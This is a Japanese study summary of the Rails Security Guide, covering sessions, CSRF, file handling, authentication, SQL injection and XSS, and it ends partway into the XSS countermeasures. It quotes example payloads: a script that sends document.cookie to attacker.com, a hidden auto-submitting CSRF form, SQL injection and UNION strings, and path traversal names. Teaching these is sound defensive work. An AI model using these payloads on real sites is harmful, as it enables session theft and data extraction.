Rails セキュリティガイド を他のリソースを参照して補足を追加しながらまとめなおしたもの。
Railsセキュリティガイド
Railsセキュリティガイドは、以下についてに説明したマニュアル。
- Webアプリケーション全般におけるセキュリティの問題
- Railsでそれらの問題を回避する方法
TL;DR
- 2.セッション
- セッションハイジャックの対策
config.force_ssl = true
- よく目立つログアウトボタンの設置
- 古いcookieは定期的に無効化する(ローテーション)
- リプレイ攻撃の対策
- cookieにセキュリティ上重要なデータを保存しない
- セッション固定攻撃の対策
- ログイン成功後はセッションをリセットする
- 期限を過ぎたセッションは無効にする
- セッションハイジャックの対策
- 3.CSRF
- GETとPOSTを適切に使用する
- CSRF保護(
config.action_controller.default_protect_from_forgery = true
)を追加する
- 4.リダイレクトとファイル
- オープンリダイレクトの対策
- ユーザー入力で送信されたURLはホワイトリストか正規表現でフィルタする
- ファイルアップロードの対策
- ユーザー入力で送信されたファイル名はホワイトリストでフィルタする
- ユーザー権限を小さくする
- Dos攻撃の対策
- ファイル処理は別プロセス(バックグラウンド)で行う
- オープンリダイレクトの対策
- 5.社内管理画面の注意事項
- 管理画面にはロールを導入する
- 送信元IPアドレスを制限する
- 特別なログイン情報を要求する
- 管理画面は特別なサブドメインに置く
- 6.ユーザーの正しい管理方法(認証・認可)
- 総当たり攻撃(Brute-force attack)の対策
- 具体的なエラーメッセージ(このメールアドレスは存在しません)を出さずに、一般的なエラーメッセージ(ユーザー名またはパスワードが違います)を表示する
- CAPTCHAの入力を義務付ける
- パスワード変更画面では古いパスワードを入力させる
- メールアドレス変更画面でもパスワード入力を義務付ける
- Railsのログに、ログイン情報やクレジットカード番号が含まれないようにフィルタする
- 正規表現の
^
や$
は、\A
や\Z
に置き換える - クエリにはアクセス権を含める(current_userから始める)
- 総当たり攻撃(Brute-force attack)の対策
- 7.インジェクション
- コントローラの
before_action
はonly
ではなくexcept
を使用する - SQLインジェクションの対策
- 条件オプションに文字列を直接渡さない
- 位置指定ハンドラ
?
を使用して、文字列をサニタイズする - 名前付きハンドラ
:zip
を使用して、文字列をサニタイズする - 位置指定ハンドラや名前付きハンドラが使用できない場合は、
sanitize_sql_*
を使用する
- XSSの対策
- cookieにhttpOnlyフラグを追加する
- ユーザー入力を出力する場合
-
sanitize
メソッドでHTMLタグをフィルタする -
html_escape()
またはh()
メソッドで、&
,"
,<
,>
を&
,"
,<
,>
に置き換える。
-
- コマンドラインインジェクションの対策
-
exec()
やsystem()
メソッドを使用するときは、第二引数を渡すことでエスケープする。 -
Kernel#open
は使用せず、File.open
やIO.open
を使用する
-
- コントローラの
- 10.利用環境のセキュリティ
- config/database.ymlなどに置かれるデータベース接続設定や、config/secrets.ymlなど置かれるサーバーサイドの秘密鍵は、環境に合わせて複数のバージョンを使い分ける
- 11.依存関係(dependencies)管理
- gemを更新するには
bundle update --conservative gem_name
を使用する。
- gemを更新するには
1. はじめに
- Webアプリケーションフレームワークを使うことで、Webアプリケーションのセキュリティを高めることができるが、正しく用いなければ安全を保てない。
- 攻撃されやすいポイントを取り除くために、攻撃方法を理解し、対策を練ることが本ガイドの目的。
- 安全なWebアプリケーションを開発するためには、最新情報を得て、セキュリティチェックの習慣を身につけることが重要。
2. セッション
2.1. セッションとは?
一般的な意味でのセッション
- コンピュータ間(「ユーザーのパソコンのWebブラウザ」と「Railsサーバー」間など)の「半永続的な接続」、「一連の処理の流れ」のこと。
- HTTPがステートレス(状態を持たない)なプロトコルであることに対して、ステートを保持・追跡する(= 前のリクエストの情報を次のリクエストでも利用する)ために使用される技術。
Railsアプリケーションにおけるsession
- 少量のデータを保存するストレージ。
- デフォルトではユーザーのWebブラウザのクッキーをストレージとして利用する。
- Webブラウザに情報を保持するため、リクエストをまたいで情報を保持することができる。
-
session
を利用することで、一度Webアプリケーションでユーザーがログインすると、以後のリクエストでログイン状態のままにすることができる。
class LoginsController < ApplicationController
# ログインを作成する(ユーザーをログインさせる)
def create
if user = User.authenticate(params[:username], params[:password])
# セッションのuser idを保存し、
# 今後のリクエストで使えるようにする
session[:current_user_id] = user.id
redirect_to root_url, status: :see_other
end
end
# ログインを削除する(ユーザーをログアウトさせる)
def destroy
# セッションからユーザーidを削除する
session.delete(:current_user_id)
# メモ化された現在のユーザーをクリアする
@_current_user = nil
redirect_to root_url
end
private
# :current_user_idキーを持つセッションに保存されたidでユーザーを検索する
# これはRailsアプリケーションでユーザーログインを扱う際の定番の方法
# ログインするとセッション値が設定され、ログアウトするとセッション値が削除される
def current_user
@_current_user ||= session[:current_user_id] &&
User.find_by(id: session[:current_user_id])
end
end
Railsチュートリアルのより詳細なセッションの使用例
-
session
変数- 一時クッキー(session cookies) が使用される。
-
session[:user_id] = user.id
とすると、ブラウザの一時クッキーに自動的に暗号化されたユーザーIDが作成される。 - 有効期限は設定されておらず、ブラウザを閉じた瞬間に破棄される。
-
cookies
変数- 永続クッキー (permanent cookies) が使用される。
- 有効期限を設定する必要がある。
-
cookies.permanent[:user_id] = user_id
とすると、ブラウザの永続クッキーに保存されたユーザーIDの有効期限が20年後に設定される。
-
- セッションハイジャックを受ける可能性があるため、署名済みクッキーや暗号化クッキーを使用する必要がある。
-
cookies.signed[:user_id] = user.id
とすると、ブラウザの 署名付きクッキー(signed cookies) にユーザーIDが作成される。- これにより、署名(秘密鍵を用いたハッシュ)を使ってデータの改竄がないことを確認できる。
-
cookies.encrypted[:user_id] = user.id
とすると、ブラウザの 暗号化クッキー(encrypted cookies) に暗号化されたユーザーIDが作成される。- これにより、適切な秘密鍵を使用されない場合にデータの読み取りを防ぐ。
-
class SessionsController < ApplicationController
include SessionsHelper
def new; end
def create
user = User.find_by(email: params[:session][:email].downcase)
if user && user.authenticate(params[:session][:password])
if user.activated?
forwarding_url = session[:forwarding_url]
reset_session
params[:session][:remember_me] == '1' ? remember(user) : forget(user)
log_in user
redirect_to forwarding_url || user
else
message = "Account not activated. "
message += "Check your email for the activation link."
flash[:warning] = message
redirect_to root_url
end
else
flash.now[:danger] = 'Invalid email/password combination'
render 'new', status: :unprocessable_entity
end
end
def destroy
log_out if logged_in?
redirect_to root_url, status: :see_other
end
end
module SessionsHelper
# 渡されたユーザーでログインする
def log_in(user)
session[:user_id] = user.id
# セッションリプレイ攻撃から保護する
# 詳しくは https://bit.ly/33UvK0w を参照
session[:session_token] = user.session_token
end
# 永続セッションのためにユーザーをデータベースに記憶する
def remember(user)
user.remember
cookies.permanent.encrypted[:user_id] = user.id
cookies.permanent[:remember_token] = user.remember_token
end
# 現在ログイン中のユーザーを返す(いる場合)
def current_user
if (user_id = session[:user_id])
user = User.find_by(id: user_id)
@current_user ||= user if session[:session_token] == user.session_token
elsif (user_id = cookies.encrypted[:user_id])
user = User.find_by(id: user_id)
if user && user.authenticated?(:remember, cookies[:remember_token])
log_in user
@current_user = user
end
end
end
# 渡されたユーザーがカレントユーザーであればtrueを返す
def current_user?(user)
user && user == current_user
end
# ユーザーがログインしていればtrue、その他ならfalseを返す
def logged_in?
!current_user.nil?
end
# 永続的セッションを破棄する
def forget(user)
user.forget
cookies.delete(:user_id)
cookies.delete(:remember_token)
end
# 現在のユーザーをログアウトする
def log_out
forget(current_user)
reset_session
@current_user = nil # 安全のため
end
# アクセスしようとしたURLを保存する
def store_location
session[:forwarding_url] = request.original_url if request.get?
end
end
class User < ApplicationRecord
# 渡された文字列のハッシュ値を返す
def User.digest(string)
cost = ActiveModel::SecurePassword.min_cost ? BCrypt::Engine::MIN_COST : BCrypt::Engine.cost
BCrypt::Password.create(string, cost: cost)
end
# ランダムなトークンを返す
def User.new_token
SecureRandom.urlsafe_base64
end
# 永続セッションのためにユーザーをデータベースに記憶する
def remember
self.remember_token = User.new_token
update_attribute(:remember_digest, User.digest(remember_token))
remember_digest
end
# 渡されたトークンがダイジェストと一致したらtrueを返す
def authenticated?(attribute, token)
digest = send("#{attribute}_digest")
return false if digest.nil?
BCrypt::Password.new(digest).is_password?(token)
end
# ユーザーのログイン情報を破棄する
def forget
update_attribute(:remember_digest, nil)
end
end
2.2. セッションハイジャック
- セッションハイジャックとは、Webアプリケーションにおいて、攻撃者が他人のcookieを何らかの方法で奪うことで、そのユーザーの権限を奪うこと。
セッションハイジャックの方法と対策
- 方法1
- 暗号化されていない無線LANに接続しているクライアントのネットワークのトラフィックの盗聴。
- 対策: SSLによる安全な接続を提供する。
config.force_ssl = true
- 方法2
- 他人が作業後にログアウトしていないような公共の端末の使用。
- 対策: Webアプリケーションに、よく目立つログアウトボタンを設置する。
2.3. セッションストレージ
- Railsのセッションストレージには、さまざまなものを選択することができる。
- デフォルトでは、ActionDispatch::Session::CookieStoreを用いる。
セッションストレージの種類
-
ActionDispatch::Session::CookieStore
- データをWebブラウザ上のcookieに保存する。
-
ActionDispatch::Session::CacheStore
- データをRailsのキャッシュストアに保存する。
-
ActionDispatch::Session::MemcacheStore
- データをMemcachedに保存する。
-
ActionDispatch::Session::RedisStore
- Memcachedよりも高機能なキャッシュシステム。
-
ActionDispatch::Session::ActiveRecordStore
- データをActive Recordデータベースに保存する(activerecord-session_store gemが必要)。
config/environments/production.rb
# CookieStoreを使用する場合は以下のように設定する。
Rails.application.config.session_store(
:cookie_store, # 使用するセッションストアの指定
key: '_my_application_session' # セッションIDの保存先となるcookies ハッシュのキー名
)
config/environments/production.rb
# RedisStoreを使用する場合は以下のように設定する
# https://github.com/redis-store/redis-actionpack#usage
ActionController::Base.session_store = :redis_store,
servers: %w(redis://localhost:6379/0/session),
expire_after: 90.minutes,
key: '_my_application_session',
threadsafe: false,
secure: true
CookieStoreにおける考慮事項
- CookieStoreは小容量
- セッションには複雑なオブジェクトを保存するべきではないため通常はこれで十分。
- cookieの上限は4KB
- セッションに関連するデータを保存する目的のみに使用する。
- cookieはWebブラウザ上にある
- セキュリティ上重要なデータを保存しない。
- cookieは一時的な情報であり、Webブラウザ側で削除される可能性がある
- 恒常性の高いデータはサーバー側で永続化する。
- 悪用目的で使いまわされないようにする
- 保存済みのタイムスタンプを利用して古いセッションcookieはアプリケーション側で失効させる。
- Railsはcookieをデフォルトで暗号化する
- クライアントからcookieの内容を読み取ることは一般的にはできない。
2.4. 暗号化cookieや署名済みcookieの設定をローテーションする
- 暗号化cookieや署名済みcookieであったとしても、そのcoookieが攻撃者に奪われてしまった場合、不正アクセスを受ける恐れがある。
- そのため、暗号化cookieや署名済みcookieの設定は、ローテションを行うことで、古いcookieを定期的に無効化すること。
Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
cookies.rotate :signed, digest: "SHA1"
end
2.5. リプレイ攻撃
- 例えば、クレジットカードの総額がセッションに保存されていると、それを利用して繰り返し購入を行う リプレイ攻撃 を受ける恐れがある。
- 対策としては、クレジットカードの総額のようなデータは、セッションではなくデータベースに保存すること。
2.6. セッション固定攻撃
- セッション固定攻撃 とは、攻撃者が生成したセッションIDを、他人がアプリケーションにログインする時に使用させ、固定することで、攻撃者はそのセッションIDを使用して他人のアカウントを乗っ取ること。
2.7. セッション固定攻撃 - 対応策
- セッション固定攻撃の対応策として、ログイン成功後に古いセッションを無効にし、新しいセッションIDを発行すること。
reset_session
- Deviseなどのgemを導入していれば、ログイン・ログアウト時にセッションが自動的に切れるようになる。
- その他のセッション固定攻撃の対応策として、セッションにリモートIPアドレスやuser-agentなどを保存し、正しいセッションかどうかを照合すること。
2.8. セッション固定攻撃 - 対応策 - セッションを失効させる
- セッション固定攻撃の対応策として、データベースでセッションを保持し、期限を過ぎたセッションを無効にすること。
class Session < ApplicationRecord
def self.sweep(time = 1.hour)
where(
"updated_at < ? OR created_at < ?",
time.ago.to_formatted_s(:db),
2.days.ago.to_formatted_s(:db)
)
.delete_all
end
end
Session.sweep("20.minutes") # => 20分以上経過したセッションが失効する。
3. クロスサイトリクエストフォージェリ(CSRF)
-
CSRF攻撃 とは、ユーザーがWebサイトにログイン状態であることを利用して、攻撃者がユーザーを偽のWebサイトやEメールへ誘導し、そこからユーザーのWebサイトへ悪意のあるリクエストを実行させる方法。
- 例えば、ユーザーがWebアプリケーション(
http://example.com
)にログインしている状態で、攻撃者が用意した偽のWebアプリケーション(http://attacker.com
)にアクセスさせ、攻撃者が用意した悪意のあるリンク(http://example.com/project/1/destroy
) を実行させる。 - 他には、
onclick
イベントハンドラやonmouseover
イベントハンドラにPOSTリクエストを送信させるコードを含む。
- 例えば、ユーザーがWebアプリケーション(
<!-- 有害な偽のWebサイトの例 -->
<h3>無害なWebサイトです!</h3>
<p>以下のリンクはhttp://www.harmless.com/へ遷移するリンクです。</p>
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">http://www.harmless.com</a>
3.1. CSRFへの対応策
- GETとPOSTを適切に使うこと。
- GETを使う場合
- そのやり取りが基本的に問い合わせである場合(クエリ、読み出し操作、検索などの安全な操作)
- POSTを使う場合
- そのやり取りが基本的に命令である場合。
- そのやり取りによってユーザーにわかる形でリソースのステートが変わる場合(サービスへの申し込みなど)。
- そのやり取りによって生じる結果の責任をユーザーが負う場合。
- GETを使う場合
- クロスサイトの
<script>
タグを無効にすること。- Ajaxリクエストはブラウザの同一オリジンポリシー(Same Origin-Policy)に従って動作する(XmlHttpRequestは自サイトからのみ開始可能)ため、JavaScriptレスポンスを返すことを安全に許可できる。
- 自分のサイトだけが知っている必須セキュリティトークンを導入すること。
-
config.action_controller.default_protect_from_forgery = true
- CSRFの保護をActionController::Baseに追加する。※ Rails 5.2以降はデフォルトでtrue。
-
protect_from_forgery with: :exception
- Railsで生成されるすべてのフォームとAjaxリクエストにセキュリティトークンが自動的に含まれ、セキュリティトークンがマッチしない場合には例外が投げられる。
-
- ユーザー情報を永続化cookieに保存してしまっているような場合は、POSTリクエストにCSRFトークンがない場合や無効な場合に、ユーザーのcookieを削除するメソッドを追加すること。
- クロスサイトスクリプティング(XSS)脆弱性があると、あらゆるCSRF保護は無意味となってしまうため注意。
rails-ujs(Rails Unobstrusive Scription Adapter)
- Railsには、JavaScriptを使用してRailsアプリケーションの非同期通信を実装するためのライブラリが含まれている。
- このライブラリは、GET以外のあらゆるAjax呼び出しで、セキュリティトークンを含むX-CSRF-Tokenヘッダーを追加する。
- これにより、RailsがAjaxリクエストを安全に受け付けることができる。※ このヘッダーがないとGET以外のAjaxリクエストを受け付けることができない。
<!-- HTMLに追加されたセキュリティトークンを確認できるタグ -->
<%= csrf_meta_tags %>
<meta name='csrf-token' content='THE-TOKEN'>
// フロントエンドでは以下のようにしてX-CSRF-Tokenヘッダーを追加することができる
const xhr = new XMLHttpRequest;
const token = document.querySelector("meta[name=csrf-token]").content;
xhr.setRequestHeader("X-CSRF-Token", token);
4. リダイレクトとファイル
4.1. リダイレクトの脆弱性
- リダイレクト用のURLをユーザーが入力できるようなアプリケーションの場合、攻撃者がそのリダイレクト先を悪意のあるWebサイトにし、他の人へ(メールなどで)共有するような攻撃手法がある。
- オープンリダイレクトとも呼ばれる模様。
- 対策としては、URLをリダイレクトするアクションで、想定されたパラメータだけを含める許可リストまたは正規表現でチェックする。
- FirefoxやOperaでは、
data
プロトコルを使って自己完結型XSS攻撃を実行できてしまうため、その対策としては、そもそもリダイレクトするURLをユーザーが入力できないようにする。
4.2. ファイルアップロードの脆弱性と注意点
- Webアプリケーションのユーザーによるファイルアップロードで、ファイルが/var/www/uploadsディレクトリにアップロードされ、そのときにファイル名が「../../../etc/password」と入力されていると、重要なファイルが上書きされてしまう可能性がある。
- 対策としては、ユーザーが選択・入力できるファイル名は必ず「許可リスト」によってフィルタする。
- 「禁止リスト」によるフィルタでは、攻撃者が「....//」と入力した場合、「../」というパスが通ってしまうため。
- また、Webサーバー、DBサーバーなどのプログラムは、比較的権限の小さい(今回でいえば、Rubyインタプリタの実行権限によってファイル名の上書きが実行できないような)Unixユーザーとして実行する。
# attachment_fuプラグインから抜粋したファイル名サニタイザ
def sanitize_filename(filename)
filename.strip.tap do |name|
# メモ: File.basenameは、Unix上でのWindowsパスに対しては正常に動作しません
# フルパスではなくファイル名のみを取得
name.sub! /\A.*(\\|\/)/, ''
# 最終的に非英数文字をアンダースコアまたは
# ピリオドとアンダースコアに置き換え
name.gsub! /[^\w\.\-]/, '_'
end
end
- また、画像などのファイルアップロードが同期的に処理される場合、多数のコンピュータから同時に実行することでサーバーに高負荷をかけてクラッシュさせるような DoS(サービス拒否)攻撃 の脆弱性が生じる。
- 対策としては、メディアファイルは非同期で処理する。
- メディアファイルを保存してから、データベース内で処理のリクエストをスケジューリングし、ファイルの処理は別プロセスかバックグラウンドで行う。
4.3. ファイルアップロードで実行可能なコードを送り込む攻撃
- Webアプリケーションのユーザーによるファイルアップロードで、アップロードされたファイルに実行可能なコードが含まれている場合がある。Apache Webサーバーの
DocumentRoot
(Webサイトのホームディレクトリ) がRailsの/publicディレクトリを指している場合、このディレクトリツリーに置かれているものはすべてWebサーバーによって配信されてしまう。 - 対策としては、ApacheのDocumentRootがRailsの/publicディレクトリを指している場合、アップロードファイルをここではなく、少なくとも1階層上に保存する。
4.4. ファイルのダウンロードの脆弱性と注意点
- Webアプリケーションのユーザーによるファイルダウンロードで、ユーザーがサーバー上の任意のファイルをダウンロード可能になってしまう場合がある。
send_file('/var/www/uploads/' + params[:filename])
- 対策としては、リクエストされたファイル名が、想定されているディレクトリの下にあるかどうかをチェックすること。
- 他の対策としては、ファイル名をデータベースに保存しておき、データベースのidをサーバーのディスク上に置く実際のファイル名の代わりに使うこと。
5. イントラネット(社内ネットワーク)とAdmin(管理者)のセキュリティ
- イントラネットや管理画面は特権アクセスが許可されているので、攻撃の標的になりがち。
- 最も脅威となるのは、XSSとCSRFであるため、各セクションを参照する。
5.1. その他の考えられる予防策
- 常に最悪の事態を想定する。
- 管理画面にロール(role)を導入することで、攻撃者が行える操作の範囲を狭める。
- アプリケーションで公開される部分で使われるログイン情報から切り離された、管理画面用の特殊なログイン認証情報を使う。
- 極めて重要な操作では別途特殊なパスワードを要求する。
- 送信元IPアドレスを一定の範囲に制限する。
-
request.remote_ip
メソッドを使えばユーザーのIPアドレスをチェックできる。 ※ プロキシを用いて送信元IPアドレスを偽っている場合もあることに注意。
-
- 管理画面を特別なサブドメイン(
admin.application.com
など)に置く。- このような構成にすることで、通常の
www.application.com
ドメインから管理者cookieを盗み出すことは不可能になる。 - ブラウザには同一オリジンポリシー(Same Origin-Policy)があるので、
www.application.com
に注入されたXSSスクリプトからadmin.application.com
のcookieを読み出すことも、その逆も不可能になる。
- このような構成にすることで、通常の
6. ユーザーの管理(認証・認可)
-
認証(authentication) と 認可(authorization) は、ほぼすべてのWebアプリケーションで不可欠の機能だが、認証システムは自作せず、広く使われていて実績のあるプラグインを使うのがおすすめ。
- ただし、最新の状態にアップデートすること。
- Railsではさまざまな認証用プラグインを利用でき、人気の高いdeviseやauthlogicなどのプラグインは、パスワードを平文ではなく常に暗号化した状態で保存する。
- Rails 3.1以降は、セキュアなパスワードハッシュ化・確認・復旧メカニズムをサポートする
has_secure_password
メソッドも組み込まれている。
6.1. アカウントに対する総当たり攻撃
- アカウントに対する総当たり攻撃(Brute-force attack)とは、ログイン情報に対して試行錯誤を繰り返す攻撃。
- 例えば、「入力されたユーザー名は登録されていません」などのメッセージを表示してしまうと、攻撃者はすぐにユーザー名リストをかき集めることができてしまい、総当たり攻撃を行う自動化プログラムがあれば、ものの数分でパスワードを見破られてしまう。
- 対策として、多くのWebアプリケーションでは、エラーメッセージに具体的な情報を出さずに、「ユーザー名またはパスワードが違います」という一般的なエラーメッセージを表示するようにしている。
- 特に、「パスワードを忘れた場合」ページで攻撃の手がかりになる情報が表示されがちであることに注意。
- 他の対策として、特定のIPアドレスからのログインが一定回数以上失敗した場合には、CAPTCHA(相手がコンピュータでないことを確認するためのテスト)の入力をユーザーに義務付ける。
6.2. アカウントのハイジャック
6.2.1. パスワード変更画面
- 攻撃者がユーザーセッションcookieを盗み出して、Webアプリケーションが他のユーザーとの間で共用可能になってしまった場合
- パスワード変更画面で古いパスワードを入力せずにパスワードを変更できてしまうと、攻撃者は簡単にアカウントをハイジャックできてしまう。
- パスワード変更画面がCSRF攻撃に対して脆弱であると、攻撃者はユーザーを別のWebページに誘い込み、ユーザーに悪意のある
img
タグを踏ませてパスワードを変更することによってアカウントをハイジャックできてしまう。
- 対策として、パスワード変更フォームがCSRF攻撃に対して脆弱にならないようにすることと、ユーザーがパスワードを変更するときに古いパスワードを必ず入力させること。
6.2.2. メールアドレス変更画面
- 攻撃者がユーザーセッションcookieを盗み出して、Webアプリケーションが他のユーザーとの間で共用可能になってしまった場合
- 攻撃者がユーザーのメールアドレスを変更すると、「パスワードをお忘れですか?」画面から新しいパスワードを配信し、アカウントをハイジャックできてしまう。
- 対策として、メールアドレス変更画面でもパスワード入力を義務付ける。
6.2.3. その他
- アカウントをハイジャックされる脆弱性は、多くの場合CSRFとXSSが原因となる。
- CSRFの例:
- ユーザーは、攻撃者のWebサイトに誘い込まれ、そのサイトの
img
タグを実行すると、GMailのフィルタ設定を変更するHTTP GETリクエストが送信される。ユーザーはGMailにログインしていた場合、攻撃者は自身にすべてのメールを転送することができてしまう。
- ユーザーは、攻撃者のWebサイトに誘い込まれ、そのサイトの
- 対策として、アプリケーションのロジックを見直してXSS脆弱性やCSRF脆弱性を完全に排除する。
6.3. CAPTCHA
ポジティブCAPTCHA
- 入力者が自動スパムボットではないことを、単語を歪んだ画像として表示し、入力させることによって確認する方法。
- reCAPTCHAが有名で、RailsのgemでもReCAPTCHAというものがある。
- 問題として、使い勝手が落ちたり、視力に問題のあるユーザーはうまく読めなかったりする。
ネガティブCAPTCHA
- ハニーポットフィールドを用いて自動スパムボットを防止する方法。
- ネガティブCAPTCHAによって自動スパムボットであると判定された場合は、ポジティブCAPTCHAによる検証を行わないなど、両者を組み合わせることで余分なHTTPSリクエストを減らせる。
- 特定のWebサイトを標的とするようなボットの防止には向かない。
ハニーポットフィールド
- CSSやJavaScriptを用いて、人間には表示されないように設定された(しかし自動スパムボットからは入力フォームに見えるような)ダミーのフィールド。
- 以下のような工夫が必要。
- 画面の外に配置することでユーザーから見えないようにする。
- フィールドを目に見えないくらい小さくしたり、背景と同じ色にする。
- あえて隠さず、「このフィールドには何も入力しないでください」と表示する。
6.4. ログ出力
- Railsのログには、デフォルトではすべてのWebアプリケーションへのリクエストが出力されるが、ログイン情報、クレジットカード番号などが含まれる可能性があり、攻撃者がWebサーバーへのアクセスに成功してしまった場合に脆弱性となる。
- 対策として、
initializers/filter_parameter_logging.rb
に、config.filter_parameters
で特定のリクエストパラメータをフィルタで除外する設定を追加する。- 部分マッチによって除外されることに注意。
- Rails7ではデフォルトで、:passw, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssnが部分マッチする
config.filter_parameters << :password
6.5. 正規表現
- Rubyの正規表現は、文字列の冒頭や末尾にマッチさせる方法が他の言語と若干異なるため、
^
や$
は、入力全体の冒頭と末尾ではなく「行の」冒頭と末尾にマッチしてしまう。
以下のようなURLが有効かどうかを検証するフィルタがあった場合、
/^https?:\/\/[^\n]+$/i
以下のようなURLはフィルタを通過してしまう。
javascript:exploit_code();/*
http://hi.com
*/
- 対策として、
^
や$
は、\A
や\z
に置き換える必要があ
/\Ahttps?:\/\/[^\n]+\z/i
6.6. 権限昇格
- 以下のようなコードの場合、本来のidでは表示できないページを表示できてしまう。
@project = Project.find(params[:id])
- 対策として、クエリにはユーザーのアクセス権を必ず含めるようにする。
@project = @current_user.projects.find(params[:id])
7. インジェクション
- インジェクションとは、Webアプリケーションに悪質なコードやパラメータを導入して、そのときのセキュリティ権限で実行させること。
- 代表的な例は、XSSやSQLインジェクション。
7.1. 許可リスト方式と禁止リスト方式
- 許可リスト方式 → ホワイトリスト。onlyで許可するパラメータのみを指定。
- 禁止リスト方式 → ブラックリスト。exceptで許可しないパラメータのみを指定。
- 追加漏れを防ぐため、基本的には許可リスト方式が推奨。
例:
- セキュリティに関連するコントローラのアクションで
before_action
を使用する場合、only: [...]
ではなくexcept: [...]
を指定する。
7.2. SQLインジェクション
- SQLインジェクションは、Webアプリケーションのパラメータを操作して、実行されるクエリに影響を与える攻撃手法。
7.2.1. はじめに
- 以下は、 検索フォームに
' OR 1) --
、とくに--
というSQLのコメント記法が入力されることで、projectsテーブルからすべてのレコードを取り出されてしまう例。
# params[:name] = "' OR 1) --" の時、
Project.where("name = '#{params[:name]}'")
# => SELECT * FROM projects WHERE (name = '' OR 1) --')
7.2.2. 認証のバイパス
- 以下は、名前フィールドに
' OR '1'='1
、パスワードフィールドに' OR '2'>'1
が入力されることで、usersテーブルの最初のレコードのユーザーへのアクセスが許可されてしまう例。
# params[:name] = "' OR '1'='1" 、
# params[:password] = "' OR '2'>'1" の時、
User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")
# => SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
7.2.3. 不正なデータ読み出し
- UNION文は2つのSQLの結果を1つに結合する。
SELECT userId FROM football
UNION SELECT userId FROM baseball;
-- +--------+
-- | userId |
-- +--------+
-- | 1001 |
-- | 1002 |
-- | 1004 |
-- | 1005 |
-- | 1003 |
-- | 1006 |
-- +--------+
-- 6 rows in set (0.00 sec)
- 以下は、 検索フォームに
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
が入力されることで、usersテーブルからユーザー名とパスワードのリストが取り出されてしまう例。- このようなケースも想定して、パスワードをハッシュ化して保存しておくことが重要。
- 攻撃者としては、UNIONする両方のクエリでカラムの数を同じにしなければならないことが問題となる。
# params[:name] = "') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --" の時、
Project.where("name = '#{params[:name]}'")
# => SELECT * FROM projects WHERE (name = '')
# UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --'
7.2.4. 対策
- Railsの一部のメソッドには、特殊なSQL文字をフィルタするしくみが組み込まれている。
-
Model.find(id)
やModel.find_by*(引数)
といったクエリでは、「'
」「"
」「NULL」「改行」は自動的にエスケープされる。 - SQLフラグメント、とくに条件フラグメント(
where("...")
)、connection.execute()
、Model.find_by_sql()
メソッドについては手動でエスケープする必要がある。
-
- 条件オプションに文字列を直接渡さない。
- 位置指定ハンドラ
?
を使い、文字列をサニタイズする。
Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first
Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first
- 名前付きハンドラを使い、文字列をサニタイズし、ハッシュから値を取り出す。
values = { zip: entered_zip_code, qty: entered_quantity }
Model.where("zip_code = :zip AND quantity >= :qty", values).first
- 位置指定ハンドラや名前付きハンドラが使用できないケースでは、
sanitize_sql_*
を使用する。
user_input_keywords = ["'; DROP TABLE articles; --", "user_keyword2", "user_keyword3"]
search_keywords = user_input_keywords.map { |k| "%#{k}%" }
query_array = ["SELECT * FROM articles WHERE title ILIKE ANY (array[?])", search_keywords]
query = ActiveRecord::Base.sanitize_sql_array(query_array)
- LIKEで使う文字列には、
sanitize_sql_like
を使用する。
# 安全な書き方(to_sしないと配列などをparamsに渡せてしまう)
hoge.where('name = ?', params[:name].to_s)
# =ではなくLIKEだと同じ書き方が危険になる(name値に%や_があるとワイルドカードと解釈される可能性)
hoge.where('name LIKE ?', params[:name].to_s + "%")
# LIKEの場合はsanitize_sql_likeを明示的にかける必要がある
hoge.where('name LIKE ?', "%#{ActiveRecord::Base.sanitize_sql_like(params[:name].to_s)}%")
7.3. クロスサイトスクリプティグ(XSS)
- XSSは、攻撃者がなんらかのコードを(入力フォームから送信するなどの方法によって)Webアプリケーションに注入すると、アプリケーションはそれを保存して標的ユーザーのWebページ上に表示するような攻撃。
- 事例の多くはアラートボックスの表示程度だが、cookieの盗み出し、セッションハイジャック、偽のWebサイトへの誘導、広告の表示、ユーザー情報の盗み出し、邪悪なソフトウェアのインストールなども可能。
7.3.1 攻撃点
- 攻撃点(entry point)とは、攻撃の対象となる、脆弱なURLおよびパラメータのこと。
- メッセージ投稿フォーム、ユーザーコメントフォームなどが攻撃点として選ばれやすいが、Webサイト上の入力フォーム以外からも、URLに含まれているパラメータや、隠しパラメータも攻撃点となる場合がある。
7.3.2. HTML/JavaScriptインジェクション
- HTML/JavaScriptはXSSで最も利用されやすい。
- 攻撃点となる入力フォームから、以下のようなコードを送信する。
<script>alert('Hello');</script>
<img src="javascript:alert('Hello')">
<table background="javascript:alert('Hello')">
7.3.2.1. Cookie窃盗
- JavaScriptの
document.cookie
プロパティには、オリジンのWebサーバーのcookieが保存されており、XSSによってHTMLに埋め込まれてしまうと、cookieを取得できてしまう。
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
<!--
以下のように出力される。
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
-->
- 対策としては、cookieに
httpOnly
フラグを追加することで、document.cookie
をJavaScriptで読み出せなくする。
7.3.2.2. Webページの汚損
-
iframe
タグを悪用して、外部にある任意のHTMLやJavaScriptがWebサイトの一部として埋め込まれてしまう脆弱性がある。
<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
- あるいは、
script
タグを利用して、外部にある任意のHTMLやJavaScriptがWebサイトの一部として埋め込まれてしまう脆弱性がある。-
strip_tags()
、strip_links()
のような禁止リスト的アプローチでは、インジェクション攻撃を完全に防ぐことはできない。
-
# strip_tags() メソッドでは `<<scrscriptipt>` という文字をフィルタできない。
strip_tags("some<<b>script>alert('hello')<</b>/script>")
7.3.2.3. 対策
-
sanitize()
メソッドで、ユーザー入力の文字列のうち、許可リストでHTMLタグをフィルタしてから出力する。
